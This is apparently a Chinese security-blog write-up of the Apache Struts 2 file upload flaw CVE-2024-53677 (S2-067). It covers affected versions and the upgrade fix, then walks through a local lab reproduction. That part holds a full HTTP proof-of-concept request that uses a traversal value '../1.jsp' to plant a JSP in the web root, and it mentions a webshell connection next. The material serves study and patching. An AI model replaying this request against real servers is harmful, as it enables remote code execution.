.png)
CVE-2024-53677:Apache Struts 2文件上传逻辑漏洞S2-067
2025-01-21 发布24 浏览 · 1 点赞 · 0 收藏
0x01 简介
Apache Struts2是常用的Java Web应用框架,在文件上传功能上存在严重缺陷。因对上传文件类型验证不严,攻击者能绕过过滤规则,上传恶意文件。这可导致任意代码执行,让攻击者获取系统权限,窃取敏感数据、破坏文件,严重威胁企业信息安全 。
0x02 漏洞概述
一个在 Apache Struts 框架中发现的严重漏洞,允许攻击者远程执行任意代码。该漏洞的CVSS评分为9.5,属于高危漏洞。漏洞的根本原因是文件上传逻辑存在缺陷,攻击者可以利用该缺陷进行路径遍历,从而上传恶意文件到服务器的任意位置,实现远程代码执行。
影响范围:
- 受影响版本:
- 2.0.0 <= Apache Struts <= 2.3.37(EOL--终止支持)
- 2.5.0 <= Apache Struts <= 2.5.33
- 6.0.0 <= Apache Struts <= 6.3.0.2
- 不受影响版本:
- Apache Struts >= 6.4.0
修复建议:将 Apache Struts 框架升级到 6.4.0 或更高版本,并迁移到新的文件上传机制(即使用 Action File Upload Interceptor 来处理文件上传),从而防止该漏洞。
漏洞详情:
- Apache Struts >= 6.4.0
- 漏洞类型:文件上传、路径遍历
- 利用条件:存在上传点,且代码中使用了
FileUploadInterceptor
作为文件上传组件 - 危害描述:成功利用可能导致文件上传获取服务器权限,攻击者可以执行远程代码、获取敏感数据、破坏网站内容或进行其他恶意活动。
0x03 环境搭建
一、安装JDK并配置环境变量
- 在Java Downloads | Oracle 中国安装JDK
- 下好后点击安装包开始安装
- 右击此电脑->点击属性->点击高级系统设置->点击环境变量->点击系统变量的新建
- 配置第一个变量:JAVA_HOME
- 配置第二个变量:%JAVA_HOME%\bin
- 配置第三个变量
- 变量名:CLASSPATH
- 变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar
- 点击确定
- 检查是否配置成功:win+R打开运行->输入cmd->点击确定->输入
java --version
->输入javac
二、安装配置Maven并配置环境变量
- 下载Apache Maven
- 配置环境变量
- 配置系统环境变量:MAVEN_HOME
- 配置系统变量:
- 验证是否安装配置成功:输入
mvn -v
- 配置系统环境变量:MAVEN_HOME
- 修改默认仓库
- 在某个目录新建一个文件夹(文件名自定)
- 修改
maven
文件夹下conf
文件夹的settings.xml
的仓库地址
- 在某个目录新建一个文件夹(文件名自定)
- 使用阿里云镜像(也在
settings.xml
)
<mirror>
<id>nexus-aliyun</id>
<mirrorOf>*</mirrorOf>
<name>Nexus aliyun</name>
<url>http://maven.aliyun.com/nexus/content/groups/public</url>
</mirror>
- IDEA配置Maven
- 设置->构建、执行、部署->Maven
- 设置->编辑器->常规->自动导入
- 设置->构建、执行、部署->Maven
三、安装配置IDEA
- 安装IDEA与Apache Tomcat
- 用IDEA打开源码
- 配置Tomcat
0x04 漏洞复现
- 在IDEA中运行项目
- 浏览器中输入
http://localhost:8081/untitled_war
进行访问 - 用Burpsuite进行抓包
- 利用POC上传一个测试jsp,利用路径穿越到web根目录,成功
POST /untitled_war/uploads.action HTTP/1.1
Host: IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://172.16.65.98:8080/untitled_war/
Content-Type: multipart/form-data; boundary=---------------------------376058448320617365003265882680
Content-Length: 529
Origin: http://192.168.0.116:8080
Connection: close
Cookie: JSESSIONID=953590EEDDD585B3CFE1A15E18C518C9
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: application/octet-stream
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<body>
<p>test</p>
</body>
</html>
-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="uploadFileName[0]";
../1.jsp
-----------------------------376058448320617365003265882680--
5. 也可上传代码,使用蚁剑进行连接(后续补充)
请前往 登录/注册 即可发表您的看法…